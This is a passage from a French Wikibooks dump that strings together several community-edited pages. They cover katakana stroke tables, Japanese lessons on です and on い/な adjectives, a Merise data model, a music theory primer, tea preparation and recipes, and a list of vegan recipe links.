valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana NU.png|100 px|left|ヌ nu]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana NU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Nu</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana NE.png|100 px|left|ネ ne]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana NE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ne</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana NO.png|100 px|left|ノ no]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana NO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">No</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} == ハ(Ha) ヒ(Hi) フ(Fu) ヘ(He) ホ(Ho) == [[Image:Japanese Katakana HA.png|100 px|left|ハ ha]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana HA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ha/Ba/Pa</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana HI.png|100 px|left|ヒ hi]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana HI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Hi/Bi/Pi</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana FU.png|100 px|left|フ Fu]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana HU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Fu/Bu/Pu</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana HE.png|100 px|left|ヘ he]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana HE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">He/Be/Pe</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana HO.png|100 px|left|ホ ho]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana HO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ho/Bo/Po</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} です 3403 36602 2006-03-08T17:38:37Z 59.146.212.24 です - desu - prononcer "déss’", est un mot un peu particulier, il est souvent traduit à travers par le verbe "être" ce qui pousse les débutant à la faute lorsque l'on apprend la conjugaison des adjectifs..... pour éviter toute confusion il faut se forcer à ne pas traduire です par "être" *on peu le traduire par "correspondre, être équivalent à...." ie indiquer une '''notion d'êtat''' (d'où l'utilisation abusive du verbe "être") *il sert aussi à indiquer que l'on s'addresse de manière polie à un interlecoteur, un peu comme le vouvoiement, on peu le traduire dans ce cas par "je vous déclare que .... " '''exemple''' 日本人 です 日本 = japon 人 = être humain です = [état] je vous déclare que je suis japonais je suis japonais traduiction mot à mot : japonais [état] pourquoi ne pas le traduire par "être" ? le problème vient de la confusion ajoutée par la [[Japonais:Adjectifs|conjugaison des adjectifs]]. prenons un exemple 赤い akai [あかい] être rouge contient déjà le verbe, c'est lui le véritable verbe de la phrase 赤い です c'est rouge..... en particulier "c'était rouge" se traduit par 赤かった です (akakatta desu) et pas par 赤い でした (akai deshita) en fait ici です sert à indiquer une notion de politesse.... car en language familier (degré moins) 赤かった signifie déjà "c'était rouge" ce que je veux faire comprendre ici, c'est que traduire "être" par です vous entrainera sur de mauvais chemin <u>que les japonais ne comprendrons pas</u> == conjugaison == ça y est : vous êtes totalement perdu.... si ce n'est pas "être" pourquoi peut-on le conjuguer ? です est bien un verbe.... <u>mais il faut faire attention à son utilisation...</u> si on reprends la phrase "je suis japonais" 日本人 です, elle peux se mettre au passé : j'étais japonais (par exemple : perte de la nationalité)..... Or, 日本人 est un nom... il ne peut pas se conjuguer (déjà les adjectifs cela suffit à nous troubler) {|border="1" cellpading="1" cellspacing="0" |-------------------------------------------------------------------------------------------- | temps || conjugaison (romanji) || 日本語 || traduction |-------------------------------------------------------------------------------------------- | présent poli || desu || です || "être" |-------------------------------------------------------------------------------------------- | présent familier || da || だ || "être" |-------------------------------------------------------------------------------------------- | passé poli || deshita || でした || "était" |-------------------------------------------------------------------------------------------- | passé familier || datta || だった || "était" |-------------------------------------------------------------------------------------------- | présent negatif très/(trop ?) poli|| dewa arimasen || では ありません || "n'est pas" |-------------------------------------------------------------------------------------------- | présent negatif courant || ja arimasen || じゃありません || "n'est pas" |-------------------------------------------------------------------------------------------- | présent négatif familier || dewanai || ではない || "n'est pas" |-------------------------------------------------------------------------------------------- | présent négatif familer || ja nai || じゃない || "n'est pas" |--------------------------------------------------------------------------------------------- | passé négatif (poli) || dewa arimasen deshita || では ありません でした || "n'étais pas" |--------------------------------------------------------------------------------------------- | passé négatif (familier) || ja nakatta desu || || "n'étais pas" |} <u>note 1</u> les personnes logiques auront remarqué que ではない est en fait では + ない, ない étant la forme négatif familière de 在る aru [ある] être / exister dewa arimasen -> dewa nai.... ja arimasen -> ja nai .... <u>note 2</u> ない, nai, la forme négative de aru se conjuge comme un [[Japonais:Adjectifs|adjectif de type い]].... Programmation Merise MLD 3404 14915 2005-05-02T12:24:31Z 212.234.89.253 · TORQUES (CODE_FAMILLE, OD, T, CLIENT, APPLICATION, LIEU, WEIGHT, MIN_LBFT, OPT_LBFT, MAX1_LBFT, MAX2_LBFT, MAX3_LBFT, MIN_NM, OPT_NM, MAX1_NM, MAX2_NM, MAX3_NM, MTV, YSMIN_KSI #) · GRADE (YSMIN_KSI, GRADE, CRA, YSMAX_KSI, YSMIN_MPA, UTSMIN_KSI, UTSMIN_MPA, HRC_MAX_VALUE) · CONNEXION (CODE_FAMILLE, WEIGHT, ETAT, TYPEVALEUR, PRODUIT, APPLICATION, EPAISSEUR, liste Paramètres…, OD#, T#, CONCEPTION#) · FAMILLE (CODE_FAMILLE, LIBFAM, EXTERNAL_PRESSURE_RESISTANCE, COMPRESSION, JOINT_MIYP, JOINT_COLLAPSE) · BIBLE_TUBES ( CODE_FAMILLE, OD, OD_mm, T, T_mm, WEIGHT, APPLICATION, ETAT, PLAIN_END_WEIGHT, ID, ID_mm, DRIFT, DRIFT_mm, S, S_mm) · SPECIAUX (NUM_PLAN, LIBSPECIAUX, OD, T, WEIGHT, EXTERNAL_PRESSURE_RESISTANCE, COMPRESSION, JOINT_MIYP, JOINT_COLLAPSE) Modèle:Étagère de Musique 3407 14918 2005-05-02T14:26:58Z 83.177.230.102 <center>'''<big>Musique</big>'''</center> - '''T<small>héorie musicale</small>''' - [[Bases de solfège|Les bases du solfège]] [[Image:25%.png]] Bases de solfège 3408 45778 2006-06-26T11:43:41Z 84.4.64.101 /* Clefs */ = Bases du solfège = [[Catégorie:Musique]] == Représentation musicale == Le solfège permet aux musiciens (chanteur, auteur, instrumentiste...) de lire dans un langage commun l'information fournie par un autre musicien. Il serait en effet difficile de décrire un morceau de musique en utilisant notre langue courante. Il y a donc une façon rigoureuse de représenter les informations requises pour un musicien : rythme, intonation, hauteur d'un son, intensité... Cette information est transmise via le solfège. == Les éléments d'une partition == Une partition est composée de différents éléments, que nous allons voir un par un. [[image:fsf-song.png]] [1] Titre de la partition [2] Tempo [3] Clef [4] Indication de mesure, généralement précédée de l'armure [5] Note [6] Mesure === Portée === La portée est l'ensemble des lignes et des interlignes où sont placées les notes. Elle symbolise la hauteur des notes et permet, avec l'habitude, d'identifier instantanément une ou plusieurs notes. Introduite au moyen-âge pour permettre de retranscrire la musique orale, elle s'est d'abord composée d'une seule ligne puis, pour une question de lisibilité, a progressivement atteint le nombre de cinq lignes. Elle est longtemps restée à une écriture sur quatre lignes, adaptée au chant (voir: Grégorien) puis avec le perfectionnement des instruments, a enfin acquis une cinquième ligne. Pour pouvoir représenter les notes qui sont hors de la portée on lui ajoute un ou plusieurs segments supplémentaires au-dessous ou au-dessus lorsque nécessaire. Pour éviter d'avoir à lire (ou écrire) certaines mélodies uniquement sur ces lignes supplémentaires, on a eu l'idée d'utiliser plusieurs clefs (cf. ci-dessous). === Tempo === Le tempo définit la vitesse d'exécution du morceau que l'on joue. Les notes ayant une certaine durée, le choix du tempo déterminera la rapidité avec laquelle elles seront jouées. La note de référence en musique moderne est le plus souvent la noire, mais pas toujours. En musique occidentale en effet, les tempos ne sont basés que sur des rythmes binaires (divisions par 2) ou ternaires (divisions par 3), la noire est donc privilégiée mais certaines compositions exigent comme référence la croche, la noire pointée, la blanche ou la ronde. C'est d'ailleurs celle-ci qui sert encore de référence dans le chiffrage de la mesure, d'où sa notation "1". === Mesures === Une mesure est une partie d'une portée symbolisée par deux barres verticales. Des symboles figurant sur ces barres peuvent indiquer des répétitions de plusieurs mesures. Chaque mesure a le même nombre de temps que ses voisines, jusqu'à indication d'une longueur différente. Un morceau de musique en comporte une grande quantité. Cela permet dans un premier temps d'aérer la partition et d'organiser la notation. Chaque partie représente une quantité de temps fixe, cette quantité est fixée par les deux chiffres présents à côté de la clef... ou à chaque "changement de mesure" (formule elliptique pour dire "changement d'indication de mesure"). Il existe deux types de mesures : * Mesures simples : - binaires, battues à deux temps : 2/1, 2/2 (ou ¢), 2/4, 2/8; et battues à 4 temps : 4/1, 4/2, 4/4 (ou C), 4/8, 4/16; - ternaires : 3/1, 3/2, 3/4, 3/8. *Mesures composées : - binaires, battues à deux, temps : 6/2, 6/4, 6/8, 6/16 battues à 4 temps : 12/4, 12/8, 12/16; - ternaires 9/2, 9/4, 9/8, 9/16 Le chiffrage de ces mesures indique le nombre de temps par mesure (le chiffre du haut), celui du bas quelle est l'unité de temps, en fraction de ronde. 1 = ronde, 2 = blanche (il faut 2 blanches pour faire 1 ronde), 4 = noire (il faut 4 noires pour faire une ronde), 8 = croche, etc. ''exemple'': 3/4 --> il y aura trois temps par mesure et cette partition est écrite "à la noire" : autrement dit, l'unité de temps est la noire (une noire = 1 temps, 1 temps = 1 noire) et on comptera jusqu'à trois avant de recommencer à 1, commençant ainsi la mesure suivante. === Clefs === La clef définit, parmi le nombre très élevé de lignes et d'interlignes, celles qui figurent à une fréquence "normale", par exemple, pour un piano, une flûte. Ainsi, sur une partition de piano, la clef de sol indiquera la partie aiguë du piano alors que la clef de fa en indiquera la partie basse. À l'origine, à chaque note correspondait une clef. Désormais ne subsistent que trois clefs principales, la clef de sol, de fa et d'ut (ancien nom du do), chacune d'elles étant privilégiée par un instrument. La clef est fondamentale car elle permet de repérer tout de suite la note de référence. Par exemple, pour la clef de sol, la ligne figurant dans l'arrondi de la clef est la ligne pour la note Sol... d'où le nom de la clef (qui représente la lettre S, orné) [[Image:MainMusicalClefs.png|500px|Exemple de Clefs]] De même, la clef de Fa indique où se trouve la note Fa, entre les deux points (restes des deux barres horizontales de la lettre F, stylisée) de la clef. === Armure ou armature=== L'armure (ou armature) se compose de deux parties : des signes d'altération (dièses, bémols et bécarres) pour changer la tonalité du morceau, et le temps accordé pour chaque mesure représenté par deux chiffres ou un symbole figurant à côté de la clef, après les éventuels signes d'altération. * Altération Une gamme habituelle (do ré mi fa sol la si do) placée sur une portée en clef de sol n'a pas d'altération. Par contre, l'écart entre les notes n'est pas constant. Lorsque le point de départ de cette gamme change (en sol par exemple), on doit, pour respecter les écarts de la gamme, altérer une ou toutes les notes. Une gamme de sol donnerait : sol la si do ré mi fa#(dièse) sol. Cette altération est permanente, donc un dièse figurerait à coté de la clef de sol. On dit que la tonalité a changé : de Do, on est passé en Sol. Et on met cette altération "à la clef". Elle est indiquée pour rappel, ainsi que la clef, à chaque début de portée. * Tempo Par exemple : pour un morceau en 4/4, noté aussi C (un rond ouvert), cela veut dire que l'on prend la note la plus longue, une ronde qui vaut quatre temps que l'on divise par 4 (le deuxième chiffre), on obtient donc 1 temps. La note à 1 temps est ici la noire. Le premier chiffre, ici 4, indique le nombre de ces notes à mettre dans chaque mesure. Donc quatre places de 1 temps. Le temps total des notes comprises dans une mesure vaudra le premier 4. Un morceau en 2/2 peut être aussi noté avec un C barré. Dans l'exemple figurant ci-dessus 7/4, dans chaque mesure il y aura 7 places de 1 temps. === Notes === La forme d'une note permet de savoir la durée du son joué; sa place sur les lignes et les interlignes indiquera sa hauteur (grave ou aiguë), fonction de la clef mise en début de portée. Il en existe sept principales mais ce ne sont pas les seules, il peut en exister avant et après, chacune valant le double de la durée de la suivante. ... * La ronde (ancienne unité de référence, elle vaut 1 comme nombre inférieur de l'indication de mesure. Généralement elle vaut 4 temps, en comptant "à la noire") * La blanche (2 temps, en comptant "à la noire" ; 1 seul, en comptant "à la blanche") * La noire (1 temps, en comptant "à la noire" ; et donc un demi, en comptant "à la blanche") * La croche (1/2 noire) * La double-croche (1/4 de noire) * La triple-croche (1/8 de noire) * La quadruple-croche (1/16 de noire) * La quintuple-croche (1/32 de noire) * La sixtuple-croche (1/64 de noire) * La sextuple-croche (1/128 de noire) * L'heptuple-croche (1/256 de noire) * L'octuple-croche (1/512 de temps) ... En partant du nom d'une note, jusqu'à la suivante de même nom : * un ensemble donné de notes de la plus aiguë à la plus grave forme une gamme descendante. * un ensemble donné de notes de la plus grave à la plus aiguë forme une gamme ascendante. * La gamme La gamme la plus connue, Do Ré Mi Fa Sol La Si Do (sur une octave) s'appelle une gamme '''diatonique''', elle a pour origine la Grèce antique et est construite sur l'assemblage de deux tétracordes, le deuxième tétracorde étant à la quinte du premier. Elle est agréable à l'oreille mais n'a pas d'intervalles réguliers entre les notes (soit 1/2 ton diatonique, soit 1 ton). Pour palier cet inconvénient et avoir une base simple d'intervalles, la gamme '''chromatique''' a été conçue, en voici les notes : Do Do#/Réb Ré Ré#/Mibémol Mi Fa Fa#/Solbémol Sol Sol#/Labémol La La#/Sib émol Si Do. Elle comporte douze notes sur une octave. Certaines notes comportent deux noms, ce sont les notes enharmoniques, suivant que l'on choisit d'abaisser d'un demi-ton la suivante ou de hausser d'un demi-ton la précédente. Chacune de ces notes peut servir de point de départ d'une gamme diatonique, il faut pour cela respecter la structure de la gamme diatonique (1 ton, 1 ton, 1/2 ton, 1 ton, 1 ton, 1 ton, 1/2 ton pour la gamme majeure). Un autre moyen est de se servir des tétracordes, en se servant du deuxième à la place du premier. C'est ce que l'on retrouve dans le paragraphe Altération à propos de la gamme de Sol : Sol La Si Do Ré Mi Fa'''#''' Sol. * Le point Une note pointée voit sa durée augmentée d'une moitié de sa durée (+ 1/2). Un double point indique la moitié + la moitié de la moitié (le quart) : 1/2 + 1/4). Et ainsi de suite. Dans l'exemple ci-dessus, une blanche pointée vaut 2+1 = 3 noires. Une ronde doublement pointée vaut 4+2+1 = 7 noires. La hampe (petite queue) des notes peut être dirigée indifféremment vers le haut ou vers le bas, pour une commodité de lecture. Généralement, vers le bas pour les notes aiguës, et vers le haut pour les basses, afin de dépasser le moins possible de la portée. Elle fait généralement deux interlignes et demi de hauteur. Pour les notes les plus courtes, elle comporte une barre ou un '''crochet''', qui indique sa durée (1 crochet ou barre = croche, 2 crochets = double croche, etc.) === Silences === Un silence est un élément qui indique au musicien de ne pas jouer pendant un certain laps de temps. Leur organisation est identique à celle des notes. Chaque durée valant le double de la suivante: La pause vaut comme la ronde, la demi-pause comme la blanche, le soupir comme la noire, le demi-soupir comme la croche, le quart de soupir comme la double-croche, etc. === Accidents === Un accident est un changement de tonalité à un instant donné dans le morceau. L'accident est valable jusqu'à la fin de la mesure dans laquelle il est placé. Il s'agit d'altérations accidentelles qui résident dans l'ajout dans la mesure d'un ou plusieurs dièses, bémols ou bécarres. Si la tonalité doit changer pour une grande durée, on insère alors un changement de tonalité, comme en début de partition. Cuisine:Thés 3409 44527 2006-06-14T11:11:51Z 212.234.180.194 /* Tchaï */ {{Livre de cuisine}} ==Préparer son thé== {| width="60%" align="center" border="0" cellpadding="4" cellspacing="4" style="border: 1px solid #CC99CC; background-color: #A6FFA6" |- | valign="top" width="20%" | ===Type de thé=== | valign="top" width="20%" | ===Dosage=== (pour 1L) | valign="top" width="20%" | ===Température d'infusion=== | valign="top" width="20%" | ===Durée d'infusion=== |- | valign="top" colspan="4" | <center>'''Thé de Chine'''</center> |- | valign="top" width="20%" | '''Noirs''' | valign="top" width="20%" | 12,5g | valign="top" width="20%" | 95°C | valign="top" width="20%" | 5 min |- | valign="top" width="20%" | '''Vert''' | valign="top" width="20%" | 25g | valign="top" width="20%" | [70;95] °C | valign="top" width="20%" | 3min |- | valign="top" width="20%" | '''Semi-fermentés''' | valign="top" width="20%" | 12,5g | valign="top" width="20%" | 95°C | valign="top" width="20%" | 7min |- | valign="top" width="20%" | '''Blanc''' | valign="top" width="20%" | 25 g | valign="top" width="20%" | [70 ; 85] °C | valign="top" width="20%" | [7;15] minutes |- | valign="top" colspan="4" | <center>'''Thé du Japon'''</center> |- | valign="top" width="20%" | '''Vert''' | valign="top" width="20%" | [23g;50g] | valign="top" width="20%" | [50;95] °C | valign="top" width="20%" | [1;2] min |- | valign="top" colspan="4" | <center>'''Thé de l'Inde'''</center> |- | valign="top" width="20%" | '''Darjeeling''' | valign="top" width="20%" | 17g | valign="top" width="20%" | 95 °C | valign="top" width="20%" | 3 min |} ==Thés chauds== ===Tchaï=== '''Indications''' Préparation : 10 minutes Cuisson : 12 minutes Pour 4 personnes : 1.5L '''Ingrédients''' * 1 cuillère à soupe de gingembre frais râpé * 10 'capsules' de cardamome * 1 cuillère à café de cannelle * 1 litre d'eau * 4 dl de lait * 100g de sucre * 1/2 dl de feuilles de thé noir '''Préparation''' * Mettre le gingembre, les clous de giofle, la cardamonne, la canelle et l'eau dans une casserolle. Faire cuire 10 minutes. * Ajouter le lait et le sucre et continuer la cuisson pendant 2 minutes. * Ajouter le thé noir et enlever la casserole du feu. Laisser infuser 5 minutes (+ ou - selon le gout) * Filtrer le mélange et servir directement ou laisser dans un thermos. ==Thés glacés== ===Thé glacé à la pêche=== '''Ingrédients''' * 2 sachets de thé ceylan * 2 sachets d'infusion à la pêche * 1 litre d'eau * 50 grammes de Sucre (rouX de préférence) '''Préparation''' * Verser le thé & l'infusion à la pêche dans une bouteille * Ajouter le sucre * Ajouter de l'eau * Fermer la bouteille puis remuer très fortement * Laisser au frigo toute une nuit ===Thé glacé à la menthe=== '''Ingrédients''' * 2 cuillière à café de thé vert * 30 grammes de menthe fraiche * 20 grammes de sucre (roux de préférence) * 1 litre d'eau '''Préparation''' * Mettre la menthe & le thé dans une casserolle * Compléter avec l'eau * Porter à ébullition * Laisser refroidir 10 minutes (au moins) * Mettre le sucre dans la boisson et remuer un peu * Prendre une bouteille la recouvrire d'un entonoir, lui-même recouvert par une passoire * Filtrer le mélange dans la passoire de telle façon qu'il arrive dans la bouteille (tenter de faire chuter le mélange de haut .... pou oxygener le thé et faire mousser le sucre) * Mettre au frais puis savourer Japonais:Adjectifs 3413 36698 2006-03-09T12:12:57Z Yota 1223 Retour à la [[Table des matières (Japonais)|table des matières]]. == Introduction == Bienvenue dans une des particularité les plus amusantes du japonais : les adjectifs ou devrait-on dire les "verbes de qualités". En effet, en japonais les adjectifs ressemblent plus à des verbes ! Il y a donc deux types d'adjectifs et 2 conjugaisons différentes (et oui ils se conjugent ^_^) == Les adjectifs en "i" <イ-形容詞> == À quelques exceptions près (certains adjectifs en "na" se terminent aussi par un "i"), les adjectifs se terminant avec hiragana い sont appelé adjectifs en "i" (étonnant non ^_^) ou adjectif verbaux (イ-形容詞 ou tout simplement 形容詞 【けいようし】). La plupart du temps, un adjectif en "i" sera plus facilement traduit par une expression telle que "être ..." : être bleu, être grand, être occupé, etc. Du fait de leur nature particulière, très différente des adjectifs de la langue française, Reiko Shimamori les nomme plutôt "mots de qualité japonais". Japonais, car ce sont des mots natifs (国語 【こくご】) et dont le kanji se prononcera suivant la lecture japonaise, on-yomi (音読み 【おにょみ】). De qualité, car ils qualifient le nom devant lequel ils se placent : * あの広い庭に青い花が育っている。 ''dans ce vaste jardin poussent des fleurs bleues'' Mais il est intéressant de noter que l'adjectif verbal est suffisant pour faire une phrase complète et autonome (il n'y a pas besoin de rajouter de verbe) : * <ruby><rb>暑</rb><rp>(</rp><rt>あつ</rt><rp>) </rp></ruby>い。 ''il fait chaud'' * あの<ruby><rb>庭</rb><rp>(</rp><rt>にわ</rt><rp>) </rp></ruby>は<ruby><rb>広</rb><rp> (</rp><rt>ひろ</rt><rp>) </rp></ruby>い。 ''ce jardin est vaste'' * 花は青い。 ''les fleurs sont bleues'' Le dernier exemple ne doit pas être confondu avec : * 青い花です。 ''ce sont des fleurs bleues'' Ces "mots de qualité japonais" se conjuguent comme des verbes et la première étape est donc d'identifier le radical et la terminaison à partir de la forme du dictionnaire : * 忙しい 【いそがしい】 ''être occupé'', à la forme du dictionnaire = radical 忙し + terminaison い Table de conjugaison, où le radical est représenté par <adj>. En première ligne la forme neutre puis la forme polie, dont il existe deux formes : * la forme neutre, suivie de です pour véhiculer la politesse * la forme en ~く ある (peut être plus soutenue) {|{{prettytable}} ! !! Accompli !! Non-accompli |- ! rowspan = 2 | Affirmatif | ''<adj> -katta'' | ''<adj> -i'' |- | ''<adj> -katta desu'' ''<adj> -ku arimashita'' | ''<adj> -i desu'' ''<adj> -ku arimasu'' |- ! rowspan = 2 | Négatif | ''<adj> -kunakatta'' | ''<adj> -kunai'' |- | ''<adj> -ku nakatta desu'' ''<adj> -ku arimasen deshita'' | ''<adj> -kunai desu'' ''<adj> -ku arimasen'' |} Un exemple plus concrêt avec le verbe <ruby><rb>高</rb><rp>(</rp><rt>たか</rt><rp>) </rp></ruby>い ''être grand'', dont le radical est : <ruby><rb>高</rb><rp>(</rp><rt>たか</rt><rp>) </rp></ruby> {|{{prettytable}} ! !! Accompli !! Non-accompli |- ! rowspan = 2 | Affirmatif | 高<span style="color:#9900CC">かった</span> | 高<span style="color:#9900CC">い</span> |- | 高<span style="color:#9900CC">かったです</span> 高<span style="color:#9900CC">くありました</span> | 高<span style="color:#9900CC">いです</span> 高<span style="color:#9900CC">くあります</span> |- ! rowspan = 2 | Négatif | 高<span style="color:#9900CC">くなかった</span> | 高<span style="color:#9900CC">くない</span> |- | 高<span style="color:#9900CC">くなかったです</span> 高<span style="color:#9900CC">くありませんでした</span> | 高<span style="color:#9900CC">くないです</span> 高<span style="color:#9900CC">くありません</span> |} Note : On pourrait conclure que l'adjectif en "i" se conjugue (à la forme neutre et aussi à la forme polie) grâce à un radical en く suivit du verbe ある - la forme かった étant une contraction naturelle de くあった, où あった est la forme neutre-accomplie de ある. Mais la nature agglutinante de la langue japonaise nous incite à la prudence sur ce genre de raccourcis. Enfin si ça peut vous aider à en retenir la conjugaison. ==== Une exception ==== l'adjectif いい ''être bon'' possède une autre forme équivalente よい qui est utilisée pour former le radical よ~ ==== L'erreur du débutant ==== l'erreur du débutant est d'oublier de conjuguer l'adjectif, et au contraire de conjuguer la copule です lorsqu'il s'exprime à la forme polie {| |× || <ruby><rb>昨日</rb><rp> (</rp><rt>きのう</rt><rp>)</rp></ruby><ruby><rb>暑</rb><rp> (</rp><rt>あつ</rt><rp>)</rp></ruby>いでした。|| ''FAUX !'' |- |○ || <ruby><rb>昨日</rb><rp> (</rp><rt>きのう</rt><rp>)</rp></ruby><ruby><rb>暑</rb><rp> (</rp><rt>あつ</rt><rp>)</rp></ruby>かったです。|| ''hier il faisait chaud (forme polie) |} == Les adjectifs en "na" <ナ-形容詞> == Les adjectifs en "na" s'apparentent plus à des noms qu'à des adjectifs car ils sont invariables. On les appelle d'ailleur des adjectifs nominaux ou 形容動詞 【けいようどうし】. Néanmoins on peut généralement les traduire en français par des adjectifs. Cette classe d'adjectif est principalement celle des mots d'importation chinoise : 親切 【しんせつ】''gentil'' ou même anglaise : ハンサムな ''beau (à propos d'un homme)''. Lorqu'ils qualifient un nom (fonction épithète) ils prennent la particule な : * 静かなところ。 ''en endroit calme'' * 簡単な問題。 ''un problème simple'' Contrairement au cas précédent, les adjectifs en "na" ne peuvent être utilisés en tant que prédicat sans être suivit de la copule です, certains les appellent d'ailleur les adjectifs en "da". Leur conjugaison se résume à celle de です : * 静かだ。 ''c'est calme'' * この問題は簡単でした。 ''ce problème était simple'' voir la conjugaison de [[です]] {|{{prettytable}} ! !! Accompli !! Non-accompli |- ! rowspan = 2 | Affirmatif | <adj> だった ''<adj> datta'' | <adj> だ ''<adj> da'' |- | <adj> ではありませんでした ''<adj> dewa arimasen deshita'' | <adj> です ''<adj> desu'' |- ! rowspan = 2 | Négatif | <adj> ではなかった ''<adj> dewa nakatta'' | <adj> ではない ''<adj> dewa nai'' |- | <adj> ではありませんでした ''<adj> dewa arimasen deshita'' | <adj> ではありません ''<adj> dewa arimasen'' |} では et じゃ peuvent être utilisés indifféremment dans le tableau ci-dessus. ==== L'erreur du débutant ==== L'adjectif きれい (kirei) ''joli, propre'', n'est pas un adjectif en い. Pour s'en convaincre il suffit de regarder la forme initiale de ce mot : * 奇麗 【きれい】, il n'y a en effet pas de い à la fin... C'était juste pour l'exemple, il est recommandé d'écrire ce mot en hiragana car l'écriture en kanjis est devenue désuète : * きれいな庭ですね!''c'est un bien joli jardin'' == Un peu de vocabulaire == {|{{prettytable}} |花||はな||une fleur |- |庭||にわ||un jardin |- |青い||あおい||être bleu |- |広い||ひろい||être vaste / large |- |暑い||あつい||être chaud (quand on parle du temps qu'il fait) |- |忙しい||いそがしい||être occupé / affairé |- |静かだ||しずかだ||être calme |- |問題||もんだい||un problème |- |親切||しんせつ||être gentil |} {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] Cuisine:Recettes végétaliennes 3416 34740 2006-02-25T16:31:28Z 194.158.98.36 Supression de la recette (Cuisine:Tarte aux brocolis et au jambon) qui n'est pas végétalienne, puisqu'il y a du jambon {{Livre de cuisine}} == Petit-déjeuner == * [[w:Crème Budwig]], recette dans laquelle il est possible de remplacer le fromage blanc par du yaourt de soja ==Boissons== * [[Cuisine:Lait de Soja|Lait de Soja]] ==Boulettes== * [[Cuisine:Boulettes de lentilles|Boulettes de lentilles]] * [[Cuisine:Boulettes de millet|Boulettes de millet]] * [[Cuisine:Boulettes aux noix de cajou|Boulettes aux noix de cajou]] * [[Cuisine:Boulettes de noix en ragoût|Boulettes de noix en ragoût]] ==Cake== * [[Cuisine:Cake nature|Cake nature]] * [[Cuisine:cake aux olives|Cake aux olives]] * [[Cuisine:Cake citron-orange|Cake citron-orange]] ==Galette== * [[Cuisine:Galettes de tofu|Galettes de tofu]] * [[Cuisine:Galettes d’avoine|Galettes d’avoine]] * [[Cuisine:Galettes aux noix et flocons d’avoine|Galettes aux noix et flocons d’avoine]] * [[Cuisine:Galettes de lentilles aux graines|Galettes de lentilles aux graines]] * [[Cuisine:Galettes de millet|Galettes de millet]] * [[Cuisine:Galette de céréales aux mille facettes|Galette de céréales aux mille facettes]] * [[Cuisine:Galettes de haricots rouges au maïs|Galettes de haricots rouges au maïs]] * [[Cuisine:Galettes de pommes de terre|Galettes de pommes de terre]] * [[Cuisine:Galettes de quinoa|Galettes de quinoa]] * [[Cuisine:Galette rapide de sarrasin|Galette rapide de sarrasin]] * [[Cuisine:Galettes de sarrasin|Galettes de sarrasin]] * [[Cuisine:Galettes de riz et millet ou quinoa aux légumes|Galettes de riz et millet ou quinoa aux légumes]] * [[Cuisine:Galettes de céréales aux carottes|Galettes de céréales aux carottes]] * [[Cuisine:Galette des rois et des reines|Galette des rois et des reines]] ==Gratin== * [[Cuisine:Gratin de tofu|Gratin de tofu]] * [[Cuisine:Gratin de céréales|Gratin de céréales]] * [[Cuisine:Gratin de pâtes sauce blanche|Gratin de pâtes sauce blanche]] ==Patés== * [[Cuisine:Pâté de pois chiches|Pâté de pois chiches]] * [[Cuisine:Pâté aux champignons et tofu|Pâté aux champignons et tofu]] * [[Cuisine:Pâté aux champignons|Pâté aux champignons]] * [[Cuisine:Pâté japonais|Pâté japonais]] * [[Cuisine:Pâté végétal aux lentilles|Pâté végétal aux lentilles]] * [[Cuisine:Pâté végétal aux flocons et aux épinards|Pâté végétal aux flocons et aux épinards]] * [[Cuisine:Pâtés au poivron et à la farine de pois chiches|Pâtés au poivron et à la farine de pois chiches]] * [[Cuisine:Pâté végétal au pain et aux olives|Pâté végétal au pain et aux olives]] * [[Cuisine:Pâté végétal|Pâté végétal]] ==Pâtes & Nouilles== * [[Cuisine:Pâtes aux champignons|Pâtes aux champignons]] * [[Cuisine:Pâtes aux champignons et aux herbes|Pâtes aux champignons et aux herbes]] * [[Cuisine:Pâtes aux poivrons|Pâtes aux poivrons]] * [[Cuisine:Pâtes aux tomates et épinards|Pâtes aux tomates et épinards]] * [[Cuisine:Pâtes aux arachides et légumes rôtis|Pâtes aux arachides et légumes rôtis]] * [[Cuisine:Nouilles fraîches|Nouilles fraîches]] * [[Cuisine:Nouilles au Sarrasin|Nouilles au 